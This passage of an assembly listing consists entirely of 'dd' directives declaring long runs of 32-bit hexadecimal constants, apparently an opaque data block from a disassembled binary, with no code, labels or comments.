315F5011h, 0EDC88FD9h, 0DE4C9E83h, 97DB8681h, 9765E318h dd 0F7911615h, 519ADC8Ah, 0C983AB7h, 426844h, 2526FE7Ch dd 955FB065h, 37366F73h, 0EB103A18h, 0A5070DD9h, 9E5E18ADh dd 0CD74D20Dh, 7EC47D6h, 1776576Ah, 0D89FE65Ah, 0C1215635h dd 58774681h, 63DD8D41h, 6DB4ECBh, 0A2F470A2h, 0CCD5BC1Fh dd 86DD157h, 0D26AAE2Ah, 91023C33h, 15A01B0Eh, 0BFB5DFAh dd 0AF09D5Bh, 687C361h, 0EB77F9FDh, 8619DA44h, 2E94B58Ah dd 5B0023C8h, 0BB80DC67h, 3AF81C76h, 434D68E5h, 4F0D7497h dd 8ACBD94Bh, 0F0CC5E2Eh dd 0E266A3Fh, 0E13A3B7Ah, 0CC55C527h, 95B2DF02h, 0BE180413h dd 535CF4C4h, 0FA3CAA66h, 0EFA450EAh, 86FFC4BBh, 89764935h dd 0A559433h, 0D7A372A1h, 4AA5BB58h, 0C3FCA5C3h, 4CBEABBAh dd 0C6163737h, 6AA5028h, 0B747F2EFh, 82586380h, 0BCA5DAC5h dd 0BBC5D053h, 0DB48ED5Dh, 0FFA391ADh, 0EDB72FCh, 0EAE32253h dd 1594FB65h, 0BEAB2E71h, 16273872h, 8215F57h, 4CCDF0F2h dd 0ABCA4838h, 0DBC0ED55h, 51FFE8A3h, 0CBF08ED5h, 0C3F04E6Ch dd 22142A05h, 9E02FEF6h, 0F8889AAFh, 0EBC68244h, 7C8C8500h dd 5E3A116Fh, 47942DEFh, 91E9E3BAh, 4AB10F24h, 6D667A33h dd 380C1F45h, 246A4278h, 8628A15Ah, 0E4BDA20Bh, 0BA82CDBBh dd 0F3C9AAE7h, 1C18A92Bh, 27946FC1h, 67F87CC1h, 775BCE5Ch dd 11C1FA1Fh, 0A91ED91Bh, 0F460CE0Ah, 0DC6DAA4Eh, 1D9400A6h dd 0D1DA2308h, 651B8559h, 0DD62A14Bh, 9DC3C74Ch, 3483541Eh dd 0CC3A84DBh, 0ABA6A6B7h, 0FFD9FB16h, 140B9DD8h, 43FF9B10h dd 5632C935h, 0C25A4E9h, 139FE751h, 0B78EA97h, 57413E6h dd 1EE2690h, 0A9D11BEAh, 16CC69D3h, 0CEB7CAA5h, 71386A0Ch dd 0B77171EEh, 3F1D85BBh, 0A84066B1h, 58CE3E8Dh, 0E6DA2B0Dh dd 3118A5B6h, 670EBE3Ch, 5F7092ECh, 97F0EEE0h, 4F580313h dd 6A6DF408h, 8BCC0621h, 0BC1AF164h, 0DF54113Ch, 0EDD44562h dd 301FBD75h, 76180A3h, 0D63193E5h, 11ADA432h, 0F1959D6Bh dd 85657FFCh, 8043B1BFh, 16040E91h, 31B63FFh, 312ABC72h dd 1597774Ch, 0BEF0E2C9h, 9F3C169Dh, 0ABD6430Dh, 5CC6ED15h dd 7F345C3Bh, 0D178CE68h, 0C78323ECh, 60FBA655h, 0C78B26E7h dd 0AABBEEA1h, 0CC72D1B0h, 9C750215h, 0B9D15A3Eh, 0B946B98h dd 4802890Fh, 247D740h, 57E747AFh, 0CF153D3Eh, 0FE4F2C74h dd 0DC8E9247h, 0CB917F4Eh, 0A99F8795h, 0DE7A2DEBh, 7EDF8E10h dd 0B0FF6210h, 0F523F161h, 68249086h, 6312C289h, 0CF670CD4h dd 75FCA096h, 519DD7BAh, 0DEDAF4B5h, 0A0651334h, 0E44BE373h dd 0E2C1FB5Ch, 0B32F884h, 985F8F3Fh, 0DB2B5C31h, 0EAF68B4Dh dd 16CC87A3h, 89DF5960h, 0ECAD07E7h, 59BF16B2h, 0DD9F5E5Ch dd 0CABC00Eh, 0A5751D0Ch, 655831CFh, 98331FE3h, 16ABF8D1h dd 1D143470h, 0ABF45895h, 8F31629Ch, 0B71A4F66h, 80C1494Eh dd 232FE50Ch, 613B3741h, 0C41E9650h, 676CDC44h, 0E6A53470h dd 6BA61EACh, 0E1BD362Ah, 0B513EB25h, 4F5142A4h, 2854EB6Ah dd 0B81ACCF7h, 7A077D02h, 0B655D020h, 0C359A242h, 6DCFE230h dd 7FAD218Fh, 3C0C7689h, 0D58ED76Bh, 0E842F342h, 4EA056D2h dd 0BCE8A449h, 0D4265D75h, 0E6AFF43Ch, 8D81969h, 0EE87D17Ah dd 4F65C66Ch, 3CF6F97h, 0B24DDFC5h, 0CA4382DDh, 0D6487D13h dd 0C3B1B753h, 1A3A4154h, 0ACD6A880h, 0B0B41CACh, 0FCC2EAD3h dd 42335884h, 0DC742C37h, 34DBA10Ah, 0E1CC101Ch, 58859D0Dh dd 0A05CEB40h, 7EF9ACD0h, 29D43B9Dh, 66FDA787h, 0BA6FBF6Dh dd 76D1C9B5h, 0A861E01Ch, 190ABB6h, 0B518915Ah, 0BBDF88E1h dd 92D30107h, 500714CBh, 977A3C22h, 0F83E43AAh, 0E83F9BD5h dd 556CE8F6h, 0D0A720BEh, 0D56D6C21h, 68D93891h, 7589F273h dd 9A5E4EF9h, 12CCBF23h, 97DF0C16h, 0B0B1C88Fh, 0B1A0F3A1h dd 0B7671B65h, 5CA1A201h, 71EAB2ABh, 834C8757h, 42D80D87h dd 0DE2E9A26h, 17D5E380h, 88B80F3Fh, 8B792272h, 0EE67541Ah dd 89F7F507h, 0C678E788h, 0B7A628A0h, 4649344Fh, 821F4DA3h dd 61BF21BDh, 82E0825Ah, 0F7BBE9F2h, 120D8251h, 68F876B0h dd 0CB3B6543h, 0BA2A1EF1h, 8A2D97EDh, 70CBE22Ah, 0E57DC5FFh dd 7EBAE918h, 7E02E336h, 2DD21D58h, 0B7FC3B6Fh, 5026150Ch dd 90B88D82h, 8E56AB81h, 0DBC64987h, 52B7C472h, 33814FA8h dd 3F2371F9h, 0D9B11DCFh, 7CD99895h, 5DBB4C8Fh, 0C7C98798h dd 0C320AAC1h, 5CF60528h, 1832E794h, 0AC3CC536h, 0C0F16142h dd 718989D8h, 0E0BE964h, 0AC4E08F7h, 0DF253F84h, 0D089683Eh dd 164896F1h, 88E15268h, 0CAA991DAh, 7ACD3193h, 70D7034Ah dd 0E9ED5929h, 0ED312D7Ch, 0D78A9818h, 39CDA1BDh, 0E74C32F0h dd 1A21BF33h, 76DBBE73h, 0A77E0D83h, 0A4459357h, 0FB9B8607h dd 0A36DF128h, 0BDC3E71Ch, 6FCD3E95h, 38602DC0h, 245C2C37h dd 0B9D30AA4h, 0C87390D3h, 0CB9CE0DEh, 0E0F267F3h, 0AD3C078h dd 0E25E74AAh, 42869B12h, 4892F8Eh, 4065556Eh, 0AED1E5DBh dd 4FAE1C83h, 0E1E9629Bh, 0EC5B989Bh, 0DCFFC0BFh, 0D45A9A08h dd 7F9E740Ch, 38991333h, 33BA1649h, 1EE24177h, 8B290B99h dd 74AE229h, 2547C54Ah, 7C3A89ADh, 0E2E3016Ch, 87212DA8h dd 9E9A2DEDh, 1BDFA6F8h, 0DD697F21h, 1B99C797h, 3D52F0E9h dd 5282346Bh, 0A9C785E6h, 0FD936E3Ah, 0D0F5A6AAh, 641A8B69h dd 0B3E95663h, 4BDCBD4Eh, 6B260E65h, 1EA1BEDFh, 9040F65Bh dd 0D614A316h, 7E37349Bh, 5A57A253h, 5E845509h, 5AB2C798h dd 0A07DE26Ah, 0F29C188Fh, 0CA26B08Eh, 33D9D56Ah, 8EF9311Bh dd 0F351C4FAh, 0DDFDB6BCh, 0AFC68363h, 0E1091D63h, 84F36D84h dd 1F529CAh, 0E63AD605h, 250C5B9Ah, 0B1ACEFA0h, 0FFABE80Eh dd 6A3EDE4h, 4E046A00h, 8306D3FEh, 14C834A1h, 0F1642CABh dd 5FAC69B1h, 0C11BF5B1h, 0DE72BAD4h, 0B705E6A8h, 1A2CE1D9h dd 0C9976D57h, 17A9E48Ch, 11976CDh, 700E941Eh, 0DA319B38h dd 54F58D9Ah, 36E86Dh, 0B186B048h, 0A20596BAh, 0B369C29Ch dd 0F887AE9Bh, 0D62947C7h, 6A07B228h, 8F9157CBh, 34599977h dd 0ED9DC3E2h, 0A0254CDDh, 0B222B978h, 9902479Dh, 4F98E12h dd 704CBD48h, 0C7ED41CDh, 6EAAA65Ah, 55E9048Bh, 0B5B96800h dd 6CCE33F5h, 5E1E2EDDh, 0BDDD97B3h, 572668CAh, 54B1970h dd 18BA766Bh, 4930C396h, 0A5A80B2Fh, 828D9ED3h, 84C3F1A9h dd 4776AD9Dh, 0E17969B3h, 5CBAACD1h, 0E4CEB968h, 9E3EE927h dd 56A221EEh, 13307F92h, 9011499Bh, 0AA0AA216h, 92D888Bh dd 61D94CB9h, 5EFECF2Ah, 524C9284h, 70678B2Ch, 0B9915321h dd 358B467h, 0A309219Bh, 611C5623h, 79F5BFF0h, 0F9A73550h dd 5C6A76F9h, 0B06DA23Fh, 0A9CC67BFh, 0BD225477h, 8B5C103Bh dd 0D06F0D9h, 0EFB72E7Bh, 0FEFEA6BEh, 0D3BF90CDh, 923F8B0Eh dd 7D8C29B5h, 1C27532h, 1044CBB0h, 0A644C33Dh, 0EFD92010h dd 9F568F71h, 11EB6D2Eh, 9D65C07h, 0CC2E9EDFh, 4B7D9FDEh dd 0E07F22BEh, 825A446Bh, 18E9505Dh, 7366083Bh, 0AB5B30BFh dd 26A721E2h, 2B5F6F20h, 0B7269FF7h, 4D0E8331h, 0C0C97A36h dd 4703F9A6h, 4D11E2C5h, 0ADF9E8B0h, 25C89C7Dh, 0FEFF94F3h dd 2A1DE271h, 2991D7BCh, 0CE4E9E73h, 4AF64349h, 51AEFB1Ch dd 0E73CD04Ch, 0A1FBBA5Dh, 9BB21421h, 4B5DA54Ch, 0FFACE5E9h dd 96809D4Dh, 2B47458Eh, 5D54A0DAh, 74B4CF40h, 0B07EB537h dd 233F1FB3h, 7AEE544Fh, 70377F4Dh, 0E4BA4972h, 84FFA29Bh dd 0FDF0B620h, 22179699h, 0A0A9EC90h, 0D05C5DE1h, 0B148C6C7h dd 0A72780E9h, 16E40F81h, 7DC4B1AFh, 0F2719FF4h, 0A3896514h dd 55E8C63Ch, 69C541E6h, 3BD24BE6h, 8444D38h, 69D1BE9Dh dd 8B1A7E05h, 51628197h, 14FF1509h, 4CE1D1B1h, 0EB09F4FAh dd 4C13B8FEh, 6B3179EBh, 84D7C8D9h, 90A49FFEh, 248D81Fh dd 2F8D59ADh, 7CABD09Ah, 88CD33A6h, 0AD2F5865h, 496691D9h dd 0ABE3CDCDh, 41D7FFDh, 0B25DF48Eh, 0C5156AD8h, 22303828h dd 9F367AADh, 0A6888B45h dd 8BA28D51h, 1FCA4EE0h, 0B8B57788h, 0BF83C1DEh, 9A2B9DD3h dd 412308B7h, 332AD53Ah, 45BC3BDEh, 72F71BCCh, 0ABB176Bh dd 0CC76B01h, 19A42232h, 0A17FE386h, 6E20605Dh, 0ED69767Eh dd 95660088h, 61CCC836h, 0E8C56F89h, 9FCE02DDh, 31FB0BCAh dd 7B330CDAh, 0ECCB777Dh, 0C3692101h, 9029F916h, 0B1E1EA1Dh dd 4F5B2888h, 8F3A4772h, 0ACF179D5h, 0AF3C9B7h, 876415B0h dd 0CE6861FBh, 0A7BE9024h, 9F2400C0h, 7E3B0B42h, 0F0D7E3AFh dd 40BDAF40h, 0D30A8772h, 1A4B4A81h, 0CA3ECB26h, 49FA37AFh dd 0EC809B51h, 2DEA24BBh, 0D41EB17Bh, 0FC838D8Bh, 0D45688F0h dd 52CC5732h, 0F33255E5h, 0C18706E5h, 1FB3D3A7h, 0DEF738BAh dd 0AC0EC8FDh, 0D7A1978Eh, 510641DDh, 0A95E58A3h, 0ADA4585Dh dd 9B67CBAh, 0ABAFAE8Bh, 0D561599Dh, 12C0A548h, 0A185B30Ch dd 11539772h, 0A4CD2B15h, 5F6ED6Ah, 8854E218h, 53E73B2h dd 0E8C634E2h, 7EBC273Ah, 8BF50ADDh, 0E04339A8h, 0FBB6937Ah dd 12294C6Eh, 23D15F95h, 83F62BE6h, 2DD906E8h, 0E6C00E9Ch dd 10AED1B5h, 8F7C3960h, 0DC56EDB3h, 0B82904CCh, 0EBE8DF67h dd 150F7DB6h, 0E94D38A3h, 12C67F8Eh, 94476ADCh, 0F549C07Ah dd 0B562277Ah, 947A5635h, 907A5E4Fh, 2825D5FEh, 0C5604247h dd 0F0047354h, 0A1A2C9ACh, 0E6067C3Ah, 0FABA599Fh, 828271C5h dd 70366E37h, 0DE673B73h, 7C13229Ch, 0E0A50318h, 0A389A573h dd 0D8738253h, 0D0F2EA62h, 0F78ECDDFh, 542F3227h, 0F998311Ah dd 0D03E267Ch, 686FEC95h, 7E2B62C5h, 79063D4Dh, 0A66612C2h dd 4A821E4Eh, 3DAE9F16h, 0AB9BD464h, 0D534F57Bh, 71603BD0h dd 4B249A18h, 97654F1h, 4E320FEDh, 765762ADh, 0D49E755Ch dd 212B62CAh, 0CDA0B10Bh, 0BF52FBEBh, 0C78FD169h, 850C673Dh dd 930B2587h, 0CF08E4F1h, 97C806ADh, 0BBD0A882h, 743B8CD1h dd 4C6D5FBAh, 6A55A413h, 82EEBC66h, 2B08251Bh, 54E0BE96h dd 19681173h, 40C19432h, 94A195D2h, 456DB111h, 39E6EB3Fh dd 0F85F848Dh, 27A50142h, 7BE9C3DAh, 2555BDF1h, 9A23D6C4h dd 0C3BC4EB8h, 0AB5DC80Eh, 0D67499F5h, 290BDC36h, 0E3BB4EC1h dd 1CD139B0h, 0FD92C6CEh, 50ED3C6Dh, 801A8BE7h, 0E284E5C1h dd 0E9491412h, 7052070Ah, 0CC42AFD4h, 2745AAC6h, 7BEFF4DAh dd 2EBED00Ah, 0F1C84F5Fh, 0A4525A3Ah, 623EB5C0h, 3CFDA838h dd 51B99CE3h, 0BF98AFB0h, 8C895BD9h, 86FFCBF3h, 1A4B806Eh dd 0F141C90Bh, 0DE142045h, 0C6345455h, 0EB46143Fh, 11F80D7Dh dd 0B5604961h, 0F02B488Fh, 109E71C6h, 0D6AE8E58h, 0C853ED5Bh dd 0F78FA7D2h, 375D07A7h, 0CFD9CD90h, 176C21E6h, 0ACD4F25Dh dd 50E0BBF8h, 0F9A8E115h, 0DEACD56h, 514AC57Dh, 693FEA5Bh dd 998896EFh, 525E986Bh, 971E3EC4h, 0F1D8A02h, 0EABB284Dh dd 8BF27339h, 0BAD6C554h, 0BB0E4AB4h, 2ADEBD1Ch, 6C7417B9h dd 678F56D1h, 0FD440881h, 5BBB6089h, 58852FA5h, 0FCB694Dh dd 7FA1B3DFh, 0AEA16894h, 0E43AF77Eh, 0DF09FDD8h, 12F665C2h dd 558ABE8Bh, 82ACC5FCh, 8B65D952h, 0AA9BEFB9h, 2BF68208h dd 0C10E8019h, 0DF7FD7B5h, 2CC341DFh, 30696EBFh, 324A9E9Bh dd 9AD098E0h, 4646C00h, 0F7511671h, 47451ADDh, 0DEEAE8F0h dd 0FB8C710Eh, 6DDFC23Dh, 594AD8A3h, 464F5E63h, 26243E1Fh dd 0DDD90FA3h, 8B1E4EB9h, 0A8AD4885h, 0C3E9836Bh, 0BF492A12h dd 907DCB05h, 0B581B7E3h, 0AEA1F165h, 2A70F6D6h, 3BED9209h dd 7E952E55h, 6DA04A72h, 0C4C6106Bh, 51E675BAh, 4A4B056Dh dd 0F38A7778h, 7BE37C97h, 0FD8190D1h, 94EFDBC0h, 0B21A2801h dd 795AF265h, 0F30A6A1Dh, 9D0C28E8h, 0A37CA4CBh, 5339466Dh dd 0AE942A31h, 9BBC5518h, 532388CCh, 37CD9866h, 537AF327h dd 8454CD94h, 70747AB9h, 83779CA0h, 0BDC6D82Fh, 26343A10h dd 0FA059394h, 67D9EB08h, 51FAD14h, 4F96E46Bh, 0F5EC4395h dd 0DE1FB9EDh, 0E2778A40h, 0D699E96Bh, 186C8542h, 0F5572D80h dd 0F62D3F17h, 0D54A5DAFh, 0AF4F49A7h, 0E988A383h, 27331ED7h dd 6C1E436Bh, 9157C751h, 0CD32E027h, 374458F8h, 0F36C94CEh dd 0C1B83EAFh, 54AE8E2Eh, 0BE43A897h, 4598B6DCh, 866E8EC9h dd 7F57F3Dh, 0C0DAE412h, 292EB11Fh, 2DBFDB3h, 33F51482h dd 0EE3C92C7h, 0D10CA922h, 88915F2Dh, 0B1654CF8h, 5574D871h dd 4713EBD4h, 0C6FE4BDEh, 9B2C92F7h, 6CA40BB1h, 2F7EEC48h dd 17C404ADh, 0C3CB5D72h, 0A9A7BEBAh, 0D9B14D85h, 97AE30DDh dd 79835429h, 0A7EFB2C2h, 0AB275E1Fh, 3DA63B21h, 83CE67A9h dd 5ECE2D3Ah, 0A3CA6926h, 5D42F328h, 514A99D4h, 0F9999A9Bh dd 3BF68018h, 6884CDA3h, 3908138Bh, 74C9AF30h, 36604465h dd 68BF78FDh, 0F5893BDh, 0BE039320h, 29B59525h, 218E6196h dd 0E83E4A08h, 0A401557Ah, 6C7E8869h, 0B0B91CB5h, 0E3EA3415h dd 18525DC1h, 764C1037h, 58E4F9ADh, 0E79C66F4h, 18EFC19h dd 541EE19h, 0A1EADCB5h, 4BFF5995h, 158264FCh, 0FA75B0B3h dd 0A0ECE0BCh, 0A7F8A12Bh, 0C19E186Dh, 96656006h, 5083CAF6h dd 785BA321h, 45A6FB43h, 12641E3Ah, 95612FC4h, 9CC8F098h dd 97665B39h, 0B3179636h, 24766C8Eh, 0BF894FB9h, 0F943DF52h dd 5EE582CEh, 0CA15AF4Ch, 0E9A3E147h, 0E5EC04B2h, 0D7885A16h dd 9C4AAA0Dh, 3BEC601Ah, 0F8DC79CCh, 0F3F94D86h, 4D05859Ch dd 0EB894B84h, 0A3535A02h, 1F8FCA22h, 0D1535B74h, 178CF4F3h dd 0E28F9464h, 0C276B79Fh, 0CBFB8C39h, 0B5333807h, 67B41C81h dd 0F81129A2h, 8A164092h, 36305775h, 4EF187C9h, 0F78AB163h dd 3482576h, 0AF805341h, 98907EA0h, 6C15751Eh, 2A73FFEBh dd 9FDC3732h, 1D093109h, 67E3CBDBh, 82015805h, 3CF0B29Eh dd 0A174669Dh, 615F1D5Dh, 2F3326EFh, 171F1ED5h, 0C57D21E9h dd 367A6FC7h, 9F35B2F3h, 0CAF6FA73h, 0EF615228h, 0CE348AFh dd 1C899A46h, 600ACBABh, 68619553h, 24B6527Fh, 9CE2EFB7h dd 0C2C04404h, 351791AFh, 0CA9A94A3h, 52EAE9Bh, 2E9DCD50h dd 31DA3B8Ch, 0D19BF059h, 0A2FE9563h, 0D13B611Ah, 0DE9B231Dh dd 2ADDA71Dh, 0BD314752h, 3BF4AB5Bh, 36812BFh, 43A37806h dd 8D0B5F7h, 3633B945h, 593FD919h, 0E1416C0Bh, 0C6D884E2h dd 6FB2FBAAh, 3AA5B844h, 2FAEF7A0h, 77E4071h, 472932A1h dd 0C645B98Eh, 0C6D6C5A0h, 0D381D07Ch, 0CABB79C7h, 406AFDABh dd 0A23D23C1h, 4A844467h, 8D98D97h, 969D3BE6h, 7A24AD85h dd 0AFF5177Ch, 4120397Fh, 9805D2Ah, 5E780D4Ch, 4CFFFFF7h dd 46552FA4h, 0AD5F1D59h, 550E8EBBh, 0FA9C70B0h, 54CB6C93h dd 0C72C07Ch, 7BEAFC65h, 9438C494h, 0B153800Bh, 0AE688084h dd 6FB3FCF3h, 5839A2E9h, 0AFFDCDB0h, 99C5CFC2h, 5B5E22A5h dd 208BDB56h, 78B03AF0h, 58668067h, 47EDAEF3h, 50138214h dd 33295AF2h, 8C84BF71h, 2973D7E1h, 4634FDD5h, 0FB861942h dd 0A4D14F6Ch, 0F7C578FCh, 807B8555h, 1506236Bh, 0E19EAF98h dd 15D4DA61h, 73DADCD6h, 65923C6Dh, 18BE88Ah, 78DD8BAAh dd 0E097B214h, 0B091D3h, 4975C2E6h, 0DC631112h, 47622BCEh dd 64215872h, 0E5F0B136h, 0ECD94EB0h, 7EB307ECh, 4B1D8BEDh dd 5BE549A0h, 51DC564Ah, 38A9928Fh, 0BEF53DB5h, 676329Ch dd 54066697h, 7DB1EF30h, 7EB703B1h, 50A41F86h, 7656CA78h dd 0F0F91D26h, 0B5BC1927h, 71548661h, 0CFDE0311h, 9377A10Fh dd 0E2A51E20h, 7C94995Bh dd 59CC376Eh, 4EC7F8A7h, 340FCA9Bh, 4E9B959Ah, 0CF15DCA1h dd 7B55898Bh, 87DE5BDh, 0CA883B5Eh, 0DD2BC525h, 35CCF03Fh dd 690E33EAh, 2964B50Ch, 547CFE6Dh, 4AECFCFEh, 4C6C6BDh dd 6C357A6h, 24BB279Dh, 8F540502h, 2A5DF713h, 2010CE99h dd 0AF4231CDh, 0DEB8FA3Ah, 605121D0h, 7A2CDC62h, 0AEBC811Bh dd 0A871CA5h, 0EE18FD3Ah, 407B2545h, 5EA62E72h, 0CEFCF9EDh dd 2E86A072h, 0E3FAB891h, 0E94003DFh, 5EEF2ECAh, 0B08C60B1h dd 6A79AEA9h, 7E565A99h, 0B1F94A16h, 98D9C127h, 444131D2h dd 0B8122645h, 893473CBh, 0C07B7B6Eh, 5FD3F498h, 7697780Ah dd 0C273C6FEh, 3DB510C0h, 0D6D4EAE5h, 80491A13h, 0C0C8F30Ch dd 6A59F6E2h, 76E91010h, 52AC1E98h, 48F5AE79h, 0DCCBD4D0h dd 956DF99h, 86E6791Ch, 35CF1C9Fh, 0CF1E45E2h, 1E0F7EB4h dd 0ED033622h, 0DD68FCFBh, 10FEB78h, 3F98992Fh, 5BED2D6h dd 8060EA3Fh, 229F0716h, 973C0F60h, 4DC9A152h, 0C6DA5E57h dd 3F15C361h, 0BA457CACh, 0BFF414FDh, 5ADBF42Dh, 0FADAD1E0h dd 58BE4AFDh, 0FABCA75Ah, 0F4B202A6h, 4E3DC2FEh, 0E6AEF7A3h dd 0F78A61A1h, 0D2F577B0h, 6F10A69Ch, 3E2403BEh, 68B39501h dd 393DCB84h, 0EC360ADFh, 0D704B6F1h, 0D4232B14h, 2D8A93E7h dd 0EAB10862h, 0EA5F09AEh, 889EE49Ch, 85C77107h, 0D02566Eh dd 22FF375Dh, 0C3671287h, 6C38085Bh, 0A86FA920h, 145D8067h dd 1EDDD3B3h, 6A8A9F4Ah, 8FBFED4Ch, 4C3EA749h, 8920E0B4h dd 867545A0h, 6573C107h, 8EFB468h, 41866327h, 0A0380333h dd 2D8BAFCEh, 92C33AA0h, 0B6C7EC53h, 0B8FCF97Dh, 6C5B2252h dd 0C9DA449Ah, 0AA509E9Ch, 0BC1A5C32h, 33DDFA1Eh, 989D322Fh dd 0D0A0A8E4h, 39B8CEE3h, 221E95CDh, 2BF8C3F9h, 0D382B00Bh dd 7B8286DEh, 561A825Fh, 0BDAEBDCCh, 90F40D10h, 8156D33Fh dd 1966F7D6h, 63E43C7Bh, 8C28524Dh, 4BE46E5Ah, 0B76DA060h dd 0CE43FB9Fh, 5E8EC0Eh, 0FE50652Fh, 0E488A867h, 7F4742DBh dd 16978FB1h, 0B2B820D8h, 7ADE7860h, 69E1DCFCh, 590593Ch dd 2C2EEEB9h, 425B8649h, 0C14055F5h, 0C2E1D6E6h, 3FF26382h dd 0C784F068h, 0E54557A1h, 0B7502A5Dh, 0ED669574h, 0B52735C9h dd 32C38998h, 0CDF32D08h, 5716F1F8h, 623CE602h, 0A136A007h dd 750F6529h, 0ABC8216Dh, 46F52739h, 28F6B0BFh, 0CAC5F98Fh dd 501799E5h, 0E83B2CF6h, 0F3B3794h, 62826E09h, 39076A3Ah dd 8D4BE258h, 639E2529h, 1AA12F80h, 415D3D42h, 0CFA8B82Ch dd 0B065E7E2h, 733B4ECDh, 910ADD9Fh, 0B3C92150h, 3A5CA75h dd 274A492Dh, 1C1D447h, 3B076F6Ah, 5FEBDA8h, 507812D5h dd 7E6419Ah, 944A24F1h, 9722D796h, 8C8CDB09h, 0C26FAE3h dd 0CD8FF353h, 0A4E997h, 0CD6420D3h, 4E79191Ch, 0EB238FFBh dd 0B93126E5h, 0EDACFE91h, 593C7808h, 5C158C52h, 3562FF8Ah dd 7CC45DDBh, 0C423310Bh, 7D084514h, 0E3B4905Fh, 164D04Fh dd 0F57C116Dh, 0BA415174h, 1020A2C5h, 3FB1C41h, 826C631Bh dd 0FAB39A5Dh, 3113F482h, 390C7E19h, 0C9CAF66Fh, 426F3755h dd 0D1AFFE8Fh, 3A5AB29Ch, 6A4DC6B7h, 5B493D29h, 0D6317F26h dd 3FFF085Fh, 0E4ED5AF6h, 0ED7F2375h, 0F694DF4Dh, 300C6032h dd 1E174Ah, 8BA28B1Eh, 0C99A5ECAh, 27F322C4h, 0B0A2E554h dd 2F134E8Dh, 8EA19DC8h, 982B685Ch, 0DBE30160h, 9C1E6447h dd 0C6DC49E2h, 6877827Dh, 2B882777h, 3AF06920h, 0C9B3E8EAh dd 9E3010F3h, 0AB1E122h, 308FF514h, 830A148Eh, 0D7194FA5h dd 0DE345049h, 289F7135h, 9E9160A5h, 4593F3ADh, 9B524037h dd 0DEAA911Eh, 3ADE008Ah, 49EE0212h, 5ACDB077h, 0E1141C9Eh dd 6AE3FBB2h, 0F54BBC44h, 5F8A387Fh, 43207E43h, 0C58C5D44h dd 223CDDBFh, 9CC45174h, 88C503FBh, 427FABCFh, 4874173Ah dd 0DA686A4h, 41549440h, 0F031C960h, 0B3A8B9C2h, 22C1950Eh dd 0F31755D9h, 0DD8D0253h, 0FC0FA1DCh, 6D396356h, 2BB28703h dd 8EE72B86h, 598EC64Eh, 4D6D49FFh, 0E5421E7Eh, 0A834D662h dd 79E2A580h, 0B763D59Eh, 456A901Dh, 0D18B2F63h, 0EA7AF871h dd 80959E07h, 0E93263CEh, 2E0CD138h, 4091EBF3h, 5A512D36h dd 0D8732450h, 0E4AC7E8Ch, 0BA8AB462h, 0F4115FE2h, 0A37C7C2Ah dd 0CA52EE5Eh, 5777FD65h, 4B97C502h, 9CBB291Dh, 5D54E46Dh dd 2A682012h, 6C281E36h, 6BDE0FB8h, 0E84F7100h, 0A14DE978h dd 0CC7E4D0Ah, 90B2FB3Ch, 0EEF89C44h, 0DF4F6A76h, 2C33D4A6h dd 0D789AB2Dh, 0F8E878D6h, 49AF306Ah, 0CEE19116h, 72D00D25h dd 0FA097996h, 0DB6918FBh, 8BB9976Ah, 18DB8534h, 635EC69Eh dd 0FDBD5962h, 0D3BB43DFh, 40A8DA28h, 0CA5D36F4h, 4755FBA3h dd 0A2DBCEF8h, 0F09A45B3h, 7476ED90h, 5480657Bh, 9306EDD6h dd 86F8473Dh, 33B035DEh, 55B25B5Fh, 2F8DD7B4h, 0B5457D0Eh dd 1E830CFh, 4842105Bh, 38FE97E2h, 912861EDh, 7C6A793Ah dd 0E0E48BA9h, 9185BD35h, 1D53F6B9h, 6E425CDAh, 9ED60CB4h dd 3A31724Ah, 90B9849Ch, 3D0FB5C4h, 49B8C728h, 30B8181Ch dd 30E444AAh, 6CD98644h, 28A7CFCDh, 4C0545E1h, 723A390Bh dd 0DD152985h, 0F3C153A5h, 0D0D65D0Bh, 0DC1C52CAh, 0FDF0CCF4h dd 4A9DBE4Fh, 37D4C6BDh, 0D2E2443Ah, 95907B8Fh, 0FD08232Ah dd 0C2B72B75h, 106D1AEEh, 0E7AABC08h, 17157A8Fh, 31C50D91h dd 7FDA5B5Ch, 0DFA30E95h, 0BD1C1D47h, 6650BF78h, 0A3803CCBh dd 90859C7Fh, 9B80BE49h, 6F5CAFE0h, 0E86A4008h, 0C16E2D11h dd 7EE358B3h, 58A0BBF7h, 143DC8B2h, 185468FDh, 0C419B1ECh dd 306BBA88h, 0AE5CB839h, 6479C32Ch, 222E2935h, 355961B8h dd 20776FBh, 49F0F8CCh, 2D202732h, 0EA6B8A4Eh, 98A0F33Bh dd 0AC9D3A6Fh, 9414A459h, 0C19DEC07h, 0C66C1A06h, 2939CEADh dd 448AC62h, 0EF5B2E54h, 28D372D4h, 97A9D301h, 71E2C5D6h dd 278CA30Bh, 0ED2A3917h, 0AF712CFEh, 234DF1E5h, 0C63EE288h dd 13C61401h, 0D08074A3h, 0FAE27464h, 8E15DE29h, 0BE726E6Dh dd 0DAF45536h, 73F27DB1h, 8C8D42FFh, 4B3DE608h, 46D04505h dd 15A61AF1h, 8C36F909h, 0C6444211h, 0CC32522Fh, 0ED6F3780h dd 0E4A67Ah, 1605E92Ah, 6BD6D2E1h, 82B08F48h, 0DCC2CE82h dd 8A4F8CAEh, 39D9D844h, 0FFFC06F2h, 0D1668FE7h, 0E16F82A2h dd 5165C287h, 62C4E558h, 0EA9C2029h, 4A253C2Ch, 0BB50E31Bh dd 0F489774Dh, 0A0AB9D2Fh, 14664A8Ah, 5AFABF00h, 3728F6D9h dd 4DF7A66Bh, 52699DE9h, 73EC87CEh, 60A04EFFh, 0F0AC9410h dd 0B2A35725h, 143128A1h, 0C112DEE2h, 0B669261Eh, 0EC4C1C47h dd 64552132h, 98820497h, 6A815E73h, 5BBCA9A3h, 8021C8D5h dd 3C82C896h, 6C5A11CCh, 9EC9BDA4h, 0DF2841EAh, 72BB7975h dd 223D372Bh, 9533830h, 0D5295A81h, 40829BD3h, 7A605BF4h dd 163A9A9h, 0E1AFC8EAh, 19E9F546h, 34A442E5h, 4E9B72D8h dd 4955A6DCh, 0A00722AAh, 431C527Eh, 0B624ADDh, 4C36FCA4h dd 7D16D365h, 530BFB28h, 0B71C4885h, 64164810h, 0D912EEEEh dd 433C7582h, 0A478ADh, 0E115783h, 0E40A4723h, 6B8FA126h dd 40233F38h, 0DA95B8A7h, 9819889Fh, 0FB090765h, 59EA9865h dd 2A3EE1B9h, 0C0EF2EFBh, 0A16A2FA4h, 6A766AE2h, 0FE06350Ch dd 1D4DF5A7h, 0DFFE5BDDh, 8EBD05A3h, 0F3AD2019h, 0EE2928C7h dd 14E58701h, 0D7366EB8h, 9E4A9A96h, 49A75E5Dh, 